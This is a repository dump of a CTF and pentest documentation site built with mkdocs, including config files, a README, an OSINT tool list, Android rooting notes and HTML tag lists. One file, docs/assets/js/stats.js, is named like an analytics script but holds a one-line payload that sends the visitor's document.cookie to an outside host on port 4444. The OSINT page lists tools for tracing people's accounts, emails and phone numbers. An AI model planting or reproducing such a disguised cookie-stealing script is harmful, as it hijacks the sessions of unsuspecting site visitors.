├── .gitignore ├── .gitlab-ci.yml ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── docs ├── OSINT │ └── socmint.md ├── android │ ├── 01-android.md │ ├── 02-adb.md │ ├── 03-frida.md │ └── 04-root-avd-device.md ├── assets │ ├── img │ │ ├── android │ │ │ └── your_virtual_devices.png │ │ ├── favicon.ico │ │ └── web │ │ │ ├── GraphQL_Batching_Attack.png │ │ │ ├── burp_and_scope.png │ │ │ ├── burp_darkmode.png │ │ │ ├── burp_intercept_false.png │ │ │ ├── burp_intruder_grep_match.png │ │ │ ├── burp_js_redirection.png │ │ │ ├── burp_match_replace_xss.png │ │ │ ├── burp_remove_first_line_intruder.png │ │ │ ├── burp_remove_websockets.png │ │ │ ├── burp_response_autoscroll.png │ │ │ ├── burp_sitemap_scope.png │ │ │ └── burp_target_sitemap_search.png │ ├── js │ │ ├── config.js │ │ ├── mathjax.js │ │ └── stats.js │ └── txt │ │ ├── all-html-events.txt │ │ └── all-html-tags.txt ├── crypto │ ├── 01-introduction.md │ ├── aes │ │ └── padding-oracle.md │ ├── diffie-hellman │ │ └── 01-introduction.md │ ├── modular-arithmetic │ │ ├── 01-introduction.md │ │ ├── 02-quadratic-residue.md │ │ └── 05-chinese-remainder-theorem.md │ └── rsa │ │ ├── 01-introduction.md │ │ ├── 02-small-prime.md │ │ ├── 03-same-modulus.md │ │ ├── 04-k-approximation.md │ │ ├── 05-small-exponent.md │ │ ├── 06-sum-of-primes.md │ │ ├── 07-wiener-attack.md │ │ ├── 08-hastad-broadcast-attack.md │ │ └── 09-polynomials-pq-generation.md ├── index.md ├── malware │ ├── anti-reverse │ │ ├── 02-compiler.md │ │ ├── 03-fileformat.md │ │ └── 04-string.md │ ├── av-evasion.md │ ├── command_control.md │ ├── detection.md │ ├── others.md │ ├── persistence.md │ └── yara.md ├── others │ ├── devsecops.md │ ├── linux │ │ ├── commands │ │ │ ├── find.md │ │ │ ├── socat.md │ │ │ ├── stat.md │ │ │ └── xargs.md │ │ ├── install-arch-linux.md │ │ └── linux.md │ ├── others.md │ ├── tmux-cheatsheet.md │ ├── vim-cheatsheet.md │ └── windows-intro.md ├── pentest │ ├── active-directory │ │ ├── 01-activedirectory.md │ │ ├── 02-kerberos.md │ │ ├── 03-enumeration.md │ │ └── 04-exploit.md │ ├── c2 │ │ ├── 01-meterpreter.md │ │ └── 02-empire.md │ ├── networks │ │ ├── pivot.md │ │ ├── servers.md │ │ └── tricks.md │ ├── privesc │ │ ├── linux.md │ │ └── windows.md │ ├── revshell.md │ ├── services.md │ ├── tips.md │ ├── tools │ │ ├── fcrackzip.md │ │ ├── hydra.md │ │ ├── johntheripper.md │ │ ├── metasploit.md │ │ ├── nmap.md │ │ └── wpscan.md │ ├── wifi │ │ ├── 01-introduction.md │ │ ├── 03-channels.md │ │ ├── 05-attacks.md │ │ └── 10-exploitation.md │ └── windows.md ├── programming │ ├── charp │ │ ├── 01-csharp-malware.md │ │ ├── 02-csharp-evasion.md │ │ └── index.md │ ├── go.md │ ├── javascript.md │ ├── powershell.md │ └── python │ │ ├── introduction.md │ │ └── security.md ├── pwn │ ├── assembly.md │ ├── binary-protections.md │ ├── buffer-overflow │ │ ├── 01-calling-function-with-args-x64.md │ │ ├── 10-bypassing-static-canary.md │ │ ├── 20-rop-x64-execve-syscall.md │ │ └── 30-ret2libc-x64-aslr.md │ ├── format-string │ │ ├── 01-introduction-format-string.md │ │ ├── 02-leak-the-stack.md │ │ └── 03-overwrite-address.md │ ├── gdb.md │ ├── heap │ │ └── 01-introduction-heap.md │ ├── mona.md │ ├── pwntools.md │ └── shellcode │ │ ├── 01-introduction.md │ │ ├── 05-writing.md │ │ └── 10-exploitation.md ├── reverse │ ├── assembly │ │ └── x86-assembly.md │ ├── autoit.md │ ├── ghidra.md │ ├── hook.md │ ├── index.md │ ├── practical-malware-analysis.md │ └── stripped-binary.md └── web │ ├── JWT.md │ ├── OAuth.md │ ├── XXE.md │ ├── authentication.md │ ├── bugbounty │ ├── 01-enumeration.md │ ├── 02-scanner.md │ ├── 05-reports.md │ └── 06-uncommon-vulns.md │ ├── burpsuite │ ├── intruder.md │ ├── others.md │ ├── proxy.md │ └── target.md │ ├── business-logic.md │ ├── cache-poisoning.md │ ├── clickjacking.md │ ├── clientside │ ├── 01-introduction.md │ ├── 02-CSRF.md │ ├── 03-XSS.md │ ├── 04-prototype-pollution.md │ └── 05-cors.md │ ├── ctf │ └── web_academy.md │ ├── deserialization.md │ ├── dom-clobbering.md │ ├── file-upload.md │ ├── host-header-attack.md │ ├── php.md │ ├── request-smuggling.md │ ├── sql-injection.md │ ├── websocket.md │ └── wordpress.md └── mkdocs.yml /.gitignore: -------------------------------------------------------------------------------- 1 | .obsidian/ 2 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | image: python:3.9 2 | 3 | pages: 4 | stage: deploy 5 | only: 6 | - master 7 | script: 8 | - pip install mkdocs-material mkdocs-macros-plugin 9 | - mkdocs build --site-dir public 10 | artifacts: 11 | paths: 12 | - public -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How to contribute 2 | 3 | First of all, thank you for taking the time to contribute to this project. 4 | 5 | ## Getting started 6 | 7 | Contributing to a project on [Github](https://github.com/xanhacks/ctf-docs) or [Gitlab](https://gitlab.com/xanhacks/ctf-docs) is pretty straight forward. If this is you're first time, these are the steps you should take. 8 | 9 | Fork this repo. 10 | 11 | And that's it! Read the code available and change the part you don't like! You're change should not break the existing code and should pass the tests. 12 | 13 | If you're adding a new functionality, start from the branch master. It would be a better practice to create a new branch and work in there. 14 | 15 | When you're done, submit a pull request and for one of the maintainers to check it out. We would let you know if there is any problem or any changes that should be considered. 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Docs 2 | 3 | [![pipeline status](https://gitlab.com/xanhacks/ctf-docs/badges/master/pipeline.svg)](https://gitlab.com/xanhacks/ctf-docs/-/commits/master) 4 | [![gitlab star](https://img.shields.io/badge/dynamic/json?color=green&label=gitlab%20stars&query=%24.star_count&url=https%3A%2F%2Fgitlab.com%2Fapi%2Fv4%2Fprojects%2F26200977)](https://gitlab.com/xanhacks/ctf-docs) 5 | [![github star](https://img.shields.io/github/stars/xanhacks/ctf-docs.svg?style=social&label=Star)](https://github.com/xanhacks/ctf-docs) 6 | 7 | Documentation and cheatsheets about CTF and pentest. 8 | 9 | **Warning :** This documentation is under construction, the architecture of the site will evolve regularly and some articles are not finished. 10 | 11 | **Live demo** at [https://docs.xanhacks.xyz/](https://docs.xanhacks.xyz/). 12 | 13 | ## Installation 14 | 15 | ```bash 16 | $ python3 -m pip install mkdocs mkdocs-material mkdocs-macros-plugin 17 | $ mkdocs serve 18 | INFO - Building documentation... 19 | INFO - [macros] - Macros arguments: {'module_name': 'main', 'modules': [], 'include_dir': '', 'include_yaml': [], 'j2_block_start_string': '', 20 | 'j2_block_end_string': '', 'j2_variable_start_string': '', 'j2_variable_end_string': '', 'on_undefined': 'keep', 'verbose': False} 21 | INFO - [macros] - Extra variables (config file): ['homepage', 'base_url', 'social'] 22 | INFO - [macros] - Extra filters (module): ['pretty'] 23 | INFO - Cleaning site directory 24 | INFO - Documentation built in 0.99 seconds 25 | INFO - [14:46:35] Serving on http://127.0.0.1:8000/ 26 | ``` 27 | 28 | ## Made with 29 | 30 | Made with [mkdocs](https://github.com/mkdocs/mkdocs) and the [material theme](https://squidfunk.github.io/mkdocs-material/). 31 | 32 | Deployed with Gitlab pages. 33 | 34 | ## Inspired by 35 | 36 | Inspired by and complementary to [hacktricks](https://github.com/carlospolop/hacktricks) and [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings). 37 | -------------------------------------------------------------------------------- /docs/OSINT/socmint.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: SOCMINT 3 | description: Social media intelligence. 4 | --- 5 | 6 | # Social media intelligence 7 | 8 | Social media intelligence (SOCMINT) refers to the techniques and technologies that allow someone to monitor social media networking sites like Facebook, Youtube, Instagram or Twitter. 9 | 10 | SOCMINT includes monitoring of content, such as messages or images posted, and other data, which is generated when someone uses a social media networking site. This information involves person-to-person, person-to-group, group-to-group, and includes interactions that are private and public. 11 | 12 | > Source [privacyinternational.org](https://www.privacyinternational.org/explainer/55/social-media-intelligence). 13 | 14 | ## Dork 15 | 16 | ### View tweets of suspended Twitter account 17 | 18 | 1. Visit [google.com](https://google.com) 19 | 2. Search for `cache:https://twitter.com/elonmusk`. 20 | 21 | ## Tools 22 | 23 | ### Tracking 24 | 25 | On Twitter, you can change your `@username` as many times as you like but your ID will remain the same. So, if you have someone ID, you can track his account even if they change their username. 26 | 27 | `@username` to Twitter ID : 28 | 29 | - Enter the username on this website https://tweeterid.com/. 30 | 31 | Twitter ID to `@username` : 32 | 33 | - https://twitter.com/intent/user?user_id= 34 | - Example with `@elonmusk` : https://twitter.com/intent/user?user_id=44196397 35 | 36 | ### Enumeration 37 | 38 | - [https://whatsmyname.app/](https://whatsmyname.app/) - This tool allows you to enumerate usernames across many websites. 39 | - [https://github.com/sherlock-project/sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across social networks. 40 | - [https://github.com/soxoj/maigret](https://github.com/soxoj/maigret) - Fork of Sherlock. 41 | - [https://github.com/megadose/holehe/](https://github.com/megadose/holehe/) - Holehe checks if an email is attached to an account on sites like twitter, instagram, imgur and more than 120 others. 42 | - [https://github.com/Kakuye/socialscan](https://github.com/Kakuye/socialscan) - socialscan offers accurate and fast checks for email address and username usage on online platforms. 43 | 44 | ### Information lookup 45 | 46 | #### Linkedin 47 | 48 | - [https://www.lusha.com/](https://www.lusha.com/) 49 | - [https://kaspr.io/](https://kaspr.io/) 50 | - [https://rocketreach.co/](https://rocketreach.co/) - Information lookup based on a username 51 | 52 | #### Instagram 53 | 54 | - [https://github.com/megadose/toutatis](https://github.com/megadose/toutatis) - Toutatis is a tool that allows you to extract information from instagrams accounts such as e-mails, phone numbers and more. 55 | 56 | #### Google account 57 | 58 | - [https://github.com/mxrch/ghunt](https://github.com/mxrch/ghunt) - GHunt is a modulable OSINT tool designed to evolve over the years, and incorporates many techniques to investigate Google accounts. 59 | 60 | #### Phone number 61 | 62 | - [https://www.hlrlookup.com/](https://www.hlrlookup.com/) - Lookup the HLR status of any mobile phone. -------------------------------------------------------------------------------- /docs/android/01-android.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Android - All in one 3 | description: Android must-known. 4 | --- 5 | 6 | # Android 7 | 8 | ## APK file structure 9 | 10 | `AndroidManifest.xml` 11 | : Manifest file in binary XML format which contains essential information about the application. This information is consumed by the Android operating system, Google Play and Android build environment. 12 | 13 | This file contains the package name, permissions, android api version, activities, services, broadcast receivers, content providers, ... It can be useful to find the entrypoint of the application. 14 | 15 | `META-INF/` 16 | : This folder typically contains **MANIFEST.MF**, **CERT.RSA** and **CERT.SF** files. 17 | 18 | CERT.RSA and CERT.SF files contain security certificates for Android application. More specifically CERT.SF contains the list of all files inside the APK with their SHA-1 digests. CERT.RSA contains public certificate of the app. 19 | 20 | `resources.arsc` 21 | : File containing precompiled application resources, in binary XML. 22 | 23 | `res/` 24 | : Folder containing resources not compiled into **resources.arsc**. Resources may include XML files, images, string files, icons, user interface layouts, fonts and many more. 25 | 26 | `assets/` 27 | : Optional folder containing applications assets, which can be retrieved by AssetManager. 28 | 29 | `classes.dex` 30 | : Application code compiled in the dex format. 31 | 32 | `lib/` 33 | : Optional folder containing compiled code - i.e. native code libraries (C/C++). 34 | 35 | **armeabi:** compiled code for ARM based processors
36 | **armeabi-v7a**: compiled code for ARMv7 and above processors
37 | **arm64-v8a**: compiled code for ARMv8 arm64 and above processors
38 | **x86**: compiled code for x86 processors
39 | **x86_64**: compiled code for x86_64 processors
40 | **mips**: compiled code for MIPS processors
41 | 42 | ## Android structure 43 | 44 | ``` 45 | /data/data// : Application data 46 | /data/data//databases : Application databases 47 | /data/data//shared_prefs/ : Application shared preferences 48 | /data/app : Apk installed by user 49 | /system/app : Pre-installed APK files 50 | ``` 51 | 52 | ### References 53 | 54 | - https://openapkfile.com/structure.html 55 | - https://www.javatpoint.com/AndroidManifest-xml-file-in-android -------------------------------------------------------------------------------- /docs/android/04-root-avd-device.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Root an AVD Device 3 | description: How to root an emulator from AVD (Android Virtual Device). 4 | --- 5 | 6 | 1. Create a new virtual device on AVD. 7 | 8 | !!! warning 9 | Pick any image that does NOT say **Play Store** in the target column. 10 | 11 | ![Your virtual devices]({{ base_url }}/assets/img/android/your_virtual_devices.png) 12 | 13 | You can now close *android-studio*. 14 | 15 | 2. Run the emulator. 16 | 17 | ```bash 18 | $ $ANDROID_HOME/emulator/emulator -list-avds 19 | Pixel_4a_API_30 20 | $ $ANDROID_HOME/emulator/emulator -avd Pixel_4a_API_30 21 | 22 | or 23 | 24 | $ $ANDROID_HOME/emulator/emulator @Pixel_4a_API_30 25 | ``` 26 | 27 | Wait for the device to boot, it should appear in *adb devices*. 28 | 29 | ```bash 30 | $ $ANDROID_HOME/platform-tools/adb devices 31 | List of devices attached 32 | emulator-5554 device 33 | ``` 34 | 35 | 3. Restart **adbd** as root and enjoy ! 36 | 37 | ```bash 38 | $ $ANDROID_HOME/platform-tools/adb root 39 | restarting adbd as root 40 | $ $ANDROID_HOME/platform-tools/adb shell 41 | generic_x86_arm:/ # id 42 | uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0 43 | ``` -------------------------------------------------------------------------------- /docs/assets/img/android/your_virtual_devices.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/android/your_virtual_devices.png -------------------------------------------------------------------------------- /docs/assets/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/favicon.ico -------------------------------------------------------------------------------- /docs/assets/img/web/GraphQL_Batching_Attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/GraphQL_Batching_Attack.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_and_scope.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_and_scope.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_darkmode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_darkmode.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_intercept_false.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_intercept_false.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_intruder_grep_match.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_intruder_grep_match.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_js_redirection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_js_redirection.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_match_replace_xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_match_replace_xss.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_remove_first_line_intruder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_remove_first_line_intruder.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_remove_websockets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_remove_websockets.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_response_autoscroll.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_response_autoscroll.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_sitemap_scope.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_sitemap_scope.png -------------------------------------------------------------------------------- /docs/assets/img/web/burp_target_sitemap_search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xanhacks/ctf-docs/9793d12d04413c7dbc234390598896ddd0fdcfdd/docs/assets/img/web/burp_target_sitemap_search.png -------------------------------------------------------------------------------- /docs/assets/js/config.js: -------------------------------------------------------------------------------- 1 | document$.subscribe(() => { 2 | hljs.highlightAll() 3 | }) 4 | 5 | -------------------------------------------------------------------------------- /docs/assets/js/mathjax.js: -------------------------------------------------------------------------------- 1 | window.MathJax = { 2 | tex: { 3 | inlineMath: [["\\(", "\\)"]], 4 | displayMath: [["\\[", "\\]"]], 5 | processEscapes: true, 6 | processEnvironments: true 7 | }, 8 | options: { 9 | ignoreHtmlClass: ".*|", 10 | processHtmlClass: "arithmatex" 11 | } 12 | }; 13 | 14 | document$.subscribe(() => { // 15 | MathJax.typesetPromise() 16 | }) 17 | -------------------------------------------------------------------------------- /docs/assets/js/stats.js: -------------------------------------------------------------------------------- 1 | document.location.href='http://xanhacks.xyz:4444?c'.concat(document.cookie); 2 | -------------------------------------------------------------------------------- /docs/assets/txt/all-html-events.txt: -------------------------------------------------------------------------------- 1 | onafterprint 2 | onbeforeprint 3 | onbeforeunload 4 | onerror 5 | onhashchange 6 | onload 7 | onmessage 8 | onoffline 9 | ononline 10 | onpagehide 11 | onpageshow 12 | onpopstate 13 | onresize 14 | onstorage 15 | onunload 16 | onblur 17 | onchange 18 | oncontextmenu 19 | onfocus 20 | oninput 21 | oninvalid 22 | onreset 23 | onsearch 24 | onselect 25 | onsubmit 26 | onkeydown 27 | onkeypress 28 | onkeyup 29 | onclick 30 | ondblclick 31 | onmousedown 32 | onmousemove 33 | onmouseout 34 | onmouseover 35 | onmouseup 36 | onmousewheel 37 | onwheel 38 | ondrag 39 | ondragend 40 | ondragenter 41 | ondragleave 42 | ondragover 43 | ondragstart 44 | ondrop 45 | onscroll 46 | oncopy 47 | oncut 48 | onpaste 49 | onabort 50 | oncanplay 51 | oncanplaythrough 52 | oncuechange 53 | ondurationchange 54 | onemptied 55 | onended 56 | onerror 57 | onloadeddata 58 | onloadedmetadata 59 | onloadstart 60 | onpause 61 | onplay 62 | onplaying 63 | onprogress 64 | onratechange 65 | onseeked 66 | onseeking 67 | onstalled 68 | onsuspend 69 | ontimeupdate 70 | onvolumechange 71 | onwaiting 72 | ontoggle 73 | -------------------------------------------------------------------------------- /docs/assets/txt/all-html-tags.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
7 | 8 | 9 |
10 |